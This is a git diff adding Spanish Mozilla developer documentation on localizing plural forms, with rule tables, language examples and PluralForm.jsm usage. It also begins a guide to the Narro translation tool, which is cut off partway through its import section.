+ <strong>everything else</strong>: <small>0, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, …</small></p>
+
+<h3 id="Plural_rule_.2312_.284_forms.29" name="Plural_rule_.2312_.284_forms.29">Plural rule #<em><strong>12</strong></em> (4 forms)</h3>
+
+<p><strong>Families</strong>: Semitic (Arabic)<br>
+ <strong>is 1</strong>: <small>1</small><br>
+ <strong>is 2</strong>: <small>2</small><br>
+ <strong>ends in 03-10</strong>: <small>3, 4, 5, 6, 7, 8, 9, 10, 103, 104, 105, 106, 107, 108, 109, 110, 2</small><small>03, 204, 205, 206, 207, 208, 209, 210, </small><small>…</small><br>
+ <strong>everything else but is 0 and ends in 00-02, excluding 0-2</strong>: <small>11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, … </small><br>
+ <strong>ends in 00-02, excluding 0-2</strong>: <small>100, 101, 102, 200, 201, 202, …</small><br>
+ <strong>is 0</strong>: <small>0</small></p>
+
+<h3 id="Plural_rule_.2313_.284_forms.29" name="Plural_rule_.2313_.284_forms.29">Plural rule #<em><strong>13</strong></em> (4 forms)</h3>
+
+<p><strong>Families</strong>: Semitic (Maltese)<br>
+ <strong>is 1</strong>: <small>1</small><br>
+ <strong>is 0 or ends in 01-10</strong>: <small>0, 2, 3, 4, 5, 6, 7, 8, 9, 10, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, …</small><br>
+ <strong>ends in 11-19</strong>: <small>11, 12, 13, 14, 15, 16, 17, 18, 19, 111, 112, 113, 114, 115, 116, 117, 118, 119, 211, 212, 213, 214, 215, 216, 217, 218, 219, …</small><br>
+ <strong>everything else</strong>: <small>20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, …</small></p>
+
+<h3 id="Plural_rule_.2314_.283_forms.29" name="Plural_rule_.2314_.283_forms.29">Plural rule #<em><strong>14</strong></em> (3 forms)</h3>
+
+<p><strong>Families</strong>: Slavic (Macedonian)<br>
+ <strong>ends in 1</strong>: <small>1, 11, 21, 31, 41, 51, 61, 71, 81, 91, 101, 111, 121, 131, 141, 151, 161, 171, 181, 191, 201, 211, 221, 231, 241, 251, 261, 271, 281, 291, …</small><br>
+ <strong>ends in 2</strong>: <small>2, 12, 22, 32, 42, 52, 62, 72, 82, 92, 102, 112, 122, 132, 142, 152, 162, 172, 182, 192, 202, 212, 222, 232, 242, 252, 262, 272, 282, 292, …</small><br>
+ <strong>everything else</strong>: <small>0, 3, 4, 5, 6, 7, 8, 9, 10, 13, 14, 15, 16, 17, 18, 19, 20, 23, 24, 25, 26, 27, 28, 29, 30, 33, 34, 35, 36, 37, 38, 39, 40, 43, 44, 45, 46, 47, 48, 49, 50, 53, 54, 55, 56, 57, 58, 59, 60, 63, …</small></p>
+
+<h3 id="Plural_rule_15_(2_forms)">Plural rule #<em><strong>15</strong></em> (2 forms)</h3>
+
+<p><strong>Families</strong>: Icelandic, Macedonian<br>
+ <strong>ends in 1, excluding 11</strong>: <small>1, 21, 31, 41, 51, 61, 71, 81, 91, 101, 121, 131, 141, 151, 161, 171, 181, 191, 201, 221, 231, 241, 251, 261, 271, 281, 291, …</small><br>
+ <strong>everything else</strong>: <small>0, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 22, 23, 24, 25, 26, 27, 28, 29, 30, 32, 33, 34, 35, 36, 37, 38, 39, 40, 42, 43, 44, 45, 46, 47, 48, 49, 50, 52, 53, 54, …</small></p>
+
+<h3 id="Plural_rule_16_(5_forms)">Plural rule #<em><strong>16</strong></em> (5 forms)</h3>
+
+<p><strong>Families</strong>: Celtic (Breton)<br>
+ <strong>ends in 1, excluding 11, 71, 91</strong>: <small>21, 31, 41, 51, 61, 81, 101, 121, 131, 141, 151, 161, 181, 201, 221, 231, 241, 251, 261, 281, ...</small><br>
+ <strong>ends in 2, excluding 12, 72, 92</strong>: <small>2, 22, 32, 42, 52, 62, 82, 102, 122, 132, 142, 152, 162, 182, 202, 222, 232, 242, 252, 262, 282, ...</small><br>
+ <strong>ends in 3, 4 or 9 excluding 13, 14, 19, 73, 74, 79, 93, 94, 99</strong>: <small>3, 4, 9, 23, 24, 29, 33, 34, 39, 43, 44, 49, 53, 54, 59, ...</small><br>
+ <strong>ends in 1000000</strong>: <small>1000000: 1000000, 2000000, 3000000, 4000000, 5000000, 6000000, 7000000, 8000000, 9000000, 10000000, ...</small><br>
+ <strong>everything else</strong>: <small>0, 5, 6, 7, 8, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 25, 26, 27, 28, 30, 35, 36, 37, 38, 40, ...</small></p>
+
+<h3 id="Plural_rule_17_(2_forms)">Plural rule #17 (2 forms)</h3>
+
+<p><strong>Families</strong>: Ecuador indigenous languages (Shuar)<br>
+ <strong>is 0</strong>: <small>0</small><br>
+ <strong>everything else</strong>: <small>1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, …</small></p>
+
+<h3 id="Plural_rule_18_(6_forms)">Plural rule #18 (6 forms)</h3>
+
+<p><strong>Families</strong>: Welsh<br>
+ <strong>is 0</strong>: <small>0</small><br>
+ <strong>is 1</strong>: <small>1</small><br>
+ <strong>is 2</strong>: <small>2</small><br>
+ <strong>is 3</strong>: <small>3</small><br>
+ <strong>is 6</strong>: <small>6</small><br>
+ <strong>everything else</strong>: <small>4, 5, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, …</small></p>
+
+<h3 id="Plural_rule_19_(3_forms)">Plural rule #<em><strong>19</strong></em> (3 forms)</h3>
+
+<p><strong>Families</strong>: Slavic (Bosnian, Croatian, Serbian)<br>
+ <strong>ends in 1, excluding 11</strong>: <small>1, 21, 31, 41, 51, 61, 71, 81, 91, 101, 121, 131, 141, 151, 161, 171, 181, 191, 201, 221, 231, 241, 251, 261, 271, 281, 291, …</small><br>
+ <strong>ends in 2-4, excluding 12-14</strong>: <small>2, 3, 4, 22, 23, 24, 32, 33, 34, 42, 43, 44, 52, 53, 54, 62, 63, 64, 72, 73, 74, 82, 83, 84, 92, 93, 94, 102, 103, 104, 122, 123, 124, 132, 133, 134, 142, 143, 144, 152, 153, 154, 162, 163, 164, 172, 173, 174, 182, 183, …</small><br>
+ <strong>everything else</strong>: <small>0, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 25, 26, 27, 28, 29, 30, 35, 36, 37, 38, 39, 40, 45, 46, 47, 48, 49, 50, 55, 56, 57, 58, 59, 60, 65, 66, 67, 68, 69, 70, 75, 76, 77, …, 112, 113, ..., 212, 213, ...</small></p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<p>Se presentan ejemplos para varios lenguajes y un breve proceso de pensamiento.</p>
+
+<h3 id="French" name="French">Frances</h3>
+
+<p>Some French speaking places treat 0 as plural while others treat it as singular. The only other singular is 1 while everything else is plural. So pick either plural rule #1 or #2.</p>
+
+<p><code>pluralRule=2<br>
+ seconds=seconde;secondes<br>
+ minutes=minute;minutes<br>
+ hours=heure;heures<br>
+ days=jour;jours </code></p>
+
+<p>Like many other times when localizing words, gender agreement might force you to rearrange words in a way that the gender is always the same. (seconde vs jour)</p>
+
+<h3 id="Chinese" name="Chinese">Chino</h3>
+
+<p>A word doesn't change if there is a different number in front of it, so all numbers use the same plural form. With just one plural form, it has to be plural rule #0. For each word to localize, it's just like localizing a single word with no semi-colons needed.</p>
+
+<p><code>pluralRule=0<br>
+ seconds=?<br>
+ minutes=?<br>
+ hours=?<br>
+ days=? </code></p>
+
+<h3 id="Polish" name="Polish">Polaco</h3>
+
+<p>There's a singular form for 1, a plural form for 2-4, and another for 5-21 at which point 22 is the same as 2. Plural rule #7 has a "ends in 2-4, not 12-14" but the singular form includes everything ending in 1 except 11. Plural rule #9 has the correct singular form for only 1.</p>
+
+<p><code>pluralRule=9<br>
+ seconds=sekunda;sekundy;sekund<br>
+ minutes=minuta;minuty;minut<br>
+ hours=godzina;godziny;godzin<br>
+ days=dzien;dni;dni </code></p>
+
+<p>Even though the last 2 plural forms of "day" are the same, both are still needed because there needs to be 3 plural forms for each word.</p>
+
+<h3 id="Sorbian" name="Sorbian">Sorabo</h3>
+
+<p>There are 4 plural forms: nominative singular, nominative dual, nominative plural, genitive plural. These match up with plural rule #10.</p>
+
+<p><code>pluralRule=10<br>
+ seconds=sekunda;sekundze;sekundy;sekundow<br>
+ minutes=mjenšina;mjenšinje;mjenšiny;mjenšin<br>
+ hours=hodzina;hodzinje;hodziny;hodzin<br>
+ days=dzen;dnjej;dny;dnjow </code></p>
+
+<h2 id="Testing_Extension" name="Testing_Extension">Testing Extension</h2>
+
+<p>To help make sure you pick the right plural rule and provide enough plural forms for strings, you should use the pluralForm Checker extension. After installing the extension, it should be available from the Tools menu.</p>
+
+<p>To use it, list off the property files and properties that you want to check and click the button. The extension will load each property and display the plural forms in a table. Selecting a table entry will populate the bottom box with sample uses of the word for some numbers.</p>
+
+<p><img alt="Image:pluralForm-checker.0.3.png"></p>
+
+<p><a class="external" href="http://ed.agadak.net/firefox/pluralForm-checker.xpi">Install pluralForm Checker v0.3 extension</a></p>
+
+<h3 id="Extension_input" name="Extension_input">Extension input</h3>
+
+<p>It would be good to keep this list updated with all the words that need plural forms. People using the extension can then copy/paste this input.</p>
+
+<p><code><small><a class="external" rel="freelink">chrome://mozapps/locale/downloads/do...tes,hours,days</a><br>
+ <a class="external" rel="freelink">chrome://mozapps/locale/downloads/do...dsTitlePercent</a><br>
+ <a class="external" rel="freelink">chrome://browser/locale/browser.prop...ausedDownloads</a> </small></code></p>
+
+<h3 id="Version_history" name="Version_history">Version history</h3>
+
+<p>0.1: Initial version with pluralRule check, properties input loading, table generation, sample output display<br>
+ 0.2: Use PluralForm.numForms() to get the number of forms instead of figuring out locally to better support future rules - <strong>Requires build from 2007/01/27 or later</strong><br>
+ 0.3: Generate a list of what numbers fall into which plural form to minimize the sample output to at most 3 of each form</p>
+
+<h2 id="Desarrollar_con_Formas_Plurales" name="Desarrollar_con_Formas_Plurales">Desarrollar con Formas Plurales</h2>
+
+<p>The functionality for getting the correct plural forms is provided by a JavaScript Module, PluralForm.jsm. This module provides a couple methods for localizing to the browser's current locale as well as getting methods to localize to a desired plural rule. The latter ability of specifying a plural rule is useful for extensions because the extension doesn't necessarily have to be localized to the browser's locale.</p>
+
+<h3 id="Loading_PluralForm.jsm" name="Loading_PluralForm.jsm">Loading PluralForm.jsm</h3>
+
+<p>Loading the PluralForm module from JavaScript is simple with <a href="es/Components.utils.import">Components.utils.import</a>. Just put the following line somewhere that will be evaluated before you want to use PluralForm. At the top of your JavaScript file is fine.</p>
+
+<pre>Components.utils.import("resource://gre/modules/PluralForm.jsm");</pre>
+
+<h3 id="Methods:_get_and_numForms" name="Methods:_get_and_numForms">Methods: get and numForms</h3>
+
+<p>These methods make use of the browser's current locale specified by <a class="external" rel="freelink">chrome://global/locale/intl.properties</a>'s pluralRule value.</p>
+
+<pre>/**
+ * Get the correct plural form of a word based on the number
+ *
+ * @param aNum
+ *        The number to decide which plural form to use
+ * @param aWords
+ *        A semi-colon (;) separated string of words to pick the plural form
+ * @return The appropriate plural form of the word
+ */
+string pluralForm
+get(int aNum, string aWords)</pre>
+
+<pre>/**
+ * Get the number of forms for the current plural rule
+ *
+ * @return The number of forms
+ */
+int numForms
+numForms()</pre>
+
+<p>Here is an example of using these methods:</p>
+
+<pre>// Load PluralForm and for this example, assume English
+Components.utils.import("resource://gre/modules/PluralForm.jsm");
+
+// PluralForm.get expects a semi-colon separated list of words
+let forms = "form;forms";
+// We're going to pick the correct plural form based on the following number
+let numForms = PluralForm.numForms();
+
+// Display the correct plural form for "forms"
+print("This locale has " + numForms + " " + PluralForm.get(numForms, forms) + ".");
+</pre>
+
+<p>The above example works, but is still difficult to localize because we're concatenating strings assuming a particular grammatical structure. The following would be better:</p>
+
+<pre>Components.utils.import("resource://gre/modules/PluralForm.jsm");
+
+let forms = "This locale has one form.;This locale has #1 forms.";
+let numForms = PluralForm.numForms();
+
+// For English, this would display "This locale has 2 forms."
+print(PluralForm.get(numForms, forms).replace("#1", numForms);</pre>
+
+<p>Notice in the above example that the code can be written to support placeholders or not use placeholders in some forms of the string. Additionally, the localizer has control over where the placeholder is in relation to the rest of the text.</p>
+
+<p>Of course, the strings to be localized will be placed in a separate file such as yourextension.properties instead of being hardcoded in the JavaScript code file.</p>
+
+<p>The following 3 file snippets show how to use PluralForm with your .xul, .properties, .js files.</p>
+
+<p>downloads.xul:</p>
+
+<pre>&lt;stringbundleset&gt;
+  &lt;stringbundle id="strings" src="chrome://downloads.properties"/&gt;
+&lt;/stringbundleset&gt;</pre>
+
+<p>downloads.properties:</p>
+
+<pre># LOCALIZATION NOTE (downloadsTitleFiles): Semi-colon list of plural forms.
+# See: http://developer.mozilla.org/en/docs/Localization_and_Plurals
+# #1 number of files
+# example: 111 files - Downloads
+downloadsTitleFiles=#1 file - Downloads;#1 files - Downloads
+
+# LOCALIZATION NOTE (timePair): #1 time number; #2 time unit
+# example: 1 second; 11 seconds
+timePair=#1 #2
+seconds=second;seconds</pre>
+
+<p>downloads.js:</p>
+
+<pre>Components.utils.import("resource://gre/modules/PluralForm.jsm");
+let getStr = function(string) document.getElementById("strings").getString(string);
+
+// Get the correct plural form for the title
+let numDownloads = 3;
+let title = PluralForm.get(numDownloads, getStr("downloadsTitleFiles"));
+// Put in the correct number of downloads
+print(title.replace("#1", numDownloads));
+
+// Get the correct plural form of seconds
+let timeLeft = 55;
+let seconds = PluralForm.get(timeLeft, getStr("seconds"));
+// Print the localized string for "55 seconds"
+print(getStr("timePair").replace("#1", timeLeft).replace("#2", seconds));</pre>
+
+<h3 id="Method:_makeGetter" name="Method:_makeGetter">Method: makeGetter</h3>
+
+<p>If you're writing an extension, you'll want to use makeGetter instead of PluralForm.get() or PluralForm.numForms() because someone installing the extension on a different locale will be using the strings provided by your default extension locale. For example, your extension localized for English with plural rule #1, which expects 2 plural forms, is installed on a localized version of Firefox with plural rule #4, which expects 3 forms.</p>
+
+<pre>/**
+ * Create a pair of plural form functions for the given plural rule number.
+ *
+ * @param aRuleNum
+ *        The plural rule number to create functions
+ * @return A pair: [function that gets the right plural form,
+ *                  function that returns the number of plural forms]
+ */
+[string pluralForm get(int aNum, string aWords), int numForms numForms()]
+makeGetter(int aRuleNum)</pre>
+
+<p>Here is an example usage of makeGetter:</p>
+
+<pre>Components.utils.import("resource://gre/modules/PluralForm.jsm");
+
+// Let's get Irish (plural rule #11)
+let [get, numForms] = PluralForm.makeGetter(11);
+
+// Make up some values to use with "get"
+let dummyText = "form 1;form 2;form 3;form 4;form 5";
+let dummyNum = 10;
+
+// In the case of Irish, the value 10 uses plural form #4, so "form 4" is printed
+print(get(dummyNum, dummyText));</pre>
+
+<p>In this example, the Irish plural rule was hardcoded, but this could be a value specified in the .properties file. So for your extension, specify a pluralRule value in the .properties and call PluralForm.makeGetter(pluralRuleFromProperties) making sure to save the 2 returned functions. (You can use <a href="es/New_in_JavaScript_1.7#Destructuring_assignment">destructured assignment</a> in JavaScript 1.7 to keep things clean.) The returned functions act just like PluralForm.get() and PluralForm.numForms() except for the specified plural rule instead of the default plural rule.</p>
+
+<h2 id="Credits" name="Credits">Credits</h2>
+
+<p>Plural Form code first implemented for {{ Bug(394516) }} -<em>Figure out a remaining-time rounding scheme for minutes -&gt; hours/days</em><br>
+ Plural rules and families derived from <a class="external" href="http://www.gnu.org/software/gettext/manual/html_node/gettext_150.html#Plural-forms">GNU gettext documentation</a>.</p>
diff --git a/files/es/localizar_con_narro/index.html b/files/es/localizar_con_narro/index.html
new file mode 100644
index 0000000000..7be6efca8b
--- /dev/null
+++ b/files/es/localizar_con_narro/index.html
@@ -0,0 +1,62 @@
+---
+title: Localizar con Narro
+slug: Localizar_con_Narro
+tags:
+  - 'Localization:Tools'
+  - l10n
+  - narro
+---
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Narro es una práctica herramienta web de traducción que está disponible para los localizadores de los proyectos de Mozilla. Con Narro puedes traducir las aplicaciones de Mozilla en linea y exportando los archivos en ficheros .ZIP o generando archivos .XPI (paquete de idioma) los cuales pueden ser instalados localmente para ser probados. Después de la creación de un proyecto Narro utiliza la “Memoria de traducción” (MT) de tus traducciones para aprovechar el contenido ya traducido.</span><br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">La función MT te permite centrarte en las nuevas cadenas sin traducir y no enfocandote en la re-traducción de las cadenas de las versiones previamente traducidas.</span><br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Este documento te guiará por el proceso de la creación de una nueva localización y proyecto en Narro. Usando Firefox como ejemplo, vamos a cubrir la forma en como iniciar un proyecto en Narro, como usar Narro para traducir la aplicación y como exportar tus traducciones para pruebas localmente en Firefox.</span><br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Para aprender acerca de las actualizaciones y cambios del proyecto Narro vista el </span><a class=" external" href="http://narro-project.blogspot.com/"><span style="font-size: 11pt; font-family: Arial; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">proyecto Narro</span></a><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"> y el sitio de la </span><a class=" link-https" href="https://l10n.mozilla-community.org/narro/projects.php?l=bg"><span style="font-size: 11pt; font-family: Arial; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">herramienta basada en web.</span></a><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"> A continuación encontrarás que son un requisito previo para localizar en Narro.</span></p>
+<p> </p>
+<h2 id="Registrándose_en_Narro">Registrándose en Narro</h2>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Antes de hacer cualquier otra cosa en Narro, es necesario configurar tu cuenta de usuario. Al hacer clic en el enlace en la esquina superior derecha de la página de inicio Narro te llevará a donde puedas registrar tu cuenta de usuario. Una vez que hayas registrado y conectado, podrás ver todos los diferentes lugares disponibles para trabajar en en el menú desplegable en la esquina superior derecha.</span><br> <br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Para nuestros ejemplos, vamos a llamar a nuestra nueva localización  X-prueba. Realiza los siguientes pasos para configurar tu nueva localización.</span></p>
+<p><br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Alternativamente, si tu localización no existe, ponte en contacto con tu </span><a class=" link-https" href="https://wiki.mozilla.org/Category:L10n_Teams"><span style="font-size: 11pt; font-family: Arial; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">comunidad l10n</span></a><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"> y pregunta acerca de cómo puedes participar!</span></p>
+<ol> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Contacta con los administradores de l10n Mozilla l10n utilizando la </span><a href="/es/"><span style="font-size: 11pt; font-family: Arial; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">lista de distribución dev-l10n</span></a><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"> para preguntar si  tu localización ya existe.</span></li> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Si no existe, envía un correo electrónico a  </span><a href="/es/"><span style="font-size: 11pt; font-family: Arial; color: #000099; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: underline; vertical-align: baseline;">dev-l10n lista de correo</span></a><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"> y solicita al administrador de Narro para iniciar una nueva localización en Narro para tu localización. En tu mensaje, por favor proporciona la siguiente información:</span> <ul> <li style="list-style-type: disc; font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">       tu nombre de usuario.</span></li> <li style="list-style-type: disc; font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">       tu idioma.</span></li> <li style="list-style-type: disc; font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">       un regalo. Los productos recién horneados son siempre un buen regalo ;).</span></li> </ul> Alternativamente, si tu localización no existe, ponte en contacto con tu comunidad l10n y pregunta acerca de cómo puedes participar!</li> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Después de hacer esto, debes recibir los derechos de mantenimiento (es decir, exportación, importación y permisos de aprobación) para la nueva localización.</span></li> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Después de recibir estos derechos, salir y entrar de nuevo para activarlos.</span></li>
+</ol>
+<p><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">La imagen de abajo es la pantalla que verá una vez que se conecte a activar sus derechos de mantenimiento.</span></p>
+<p><a href="/@api/deki/files/5836/=manage_a_locale.png"><img alt="" class="internal default" src="/@api/deki/files/5836/=manage_a_locale.png" style="width: 1053px; height: 576px;"></a></p>
+<p> </p>
+<h2 id="Importar">Importar</h2>
+<div class="note">Nota: Si ya te has unido a algún proyecto de localización existente, puedes saltarte este paso. Es decir, a menos que estés interesado en aprender acerca de cómo funciona la utilidad de importación, en tal caso continua con este paso..</div>
+<p><span id="internal-source-marker_0.5117014449713394" style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Cuenta de usuario creada: Listo. Proyecto de localización creada por el administrador global: Listo. Activado los derechos de mantenimiento para tu nueva localización: Listo. ¡Felicidades, ya estás listo para importar los archivos fuentes del proyecto Firefox!. La utilidad de importación ubicada en la pestaña Import de tu proyecto Firefox, te dará varias opciones para la importación de archivos para la traducción. ¡Lo bueno de esta utilidad es que es completamente automática!. Tú solo tienes que importar manualmente los archivos fuentes y luego nunca más tienes que preocuparte por hacer esto. La utilidad de importación importa los archivos cada noche, de modo que si tu cadena fué agregada o modificada durante el día la seguirás viendo en tu lista de no traducidos hasta el día siguiente.</span><br> <br> <span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Ahora vamos a repasar cómo configurar la utilidad de importación en tu proyecto.</span></p>
+<p> </p>
+<ol> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"> Verás una lista de enlaces de proyectos inactivos con varios nombres (</span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Firefox Aurora</span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">, </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Firefox Release</span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">, etc.) Hazle clic en el enlace del proyecto que tu quieras activar. En este caso le hacemos clic en </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Firefox Aurora</span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">.</span></li> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Por defecto, está tomada la pestaña de descripción del proyecto. Navega a la etiqueta </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Import </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">para encontrar la utilidad de importación.</span></li> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Una vez ahí, encontarás estas secciones de importación:</span> <ul> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;"> </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Texts.- </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Para importar los archivos fuentes (por ejemplo desde en-US).</span></li> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Translations.- </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Para la importación de proyectos ya existentes</span>.</li> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Options.- </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Casillas de verificación para configurar la importación</span>.</li> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: bold; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Operation log.- </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Descripción de la función de Importación que está siendo ejecutada.</span></li> </ul> </li> <li><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">Por ahora nos vamos a centrar solo en las secciones </span><span style="font-size: 11pt; font-family: Arial; color: #000000; background-color: transparent; 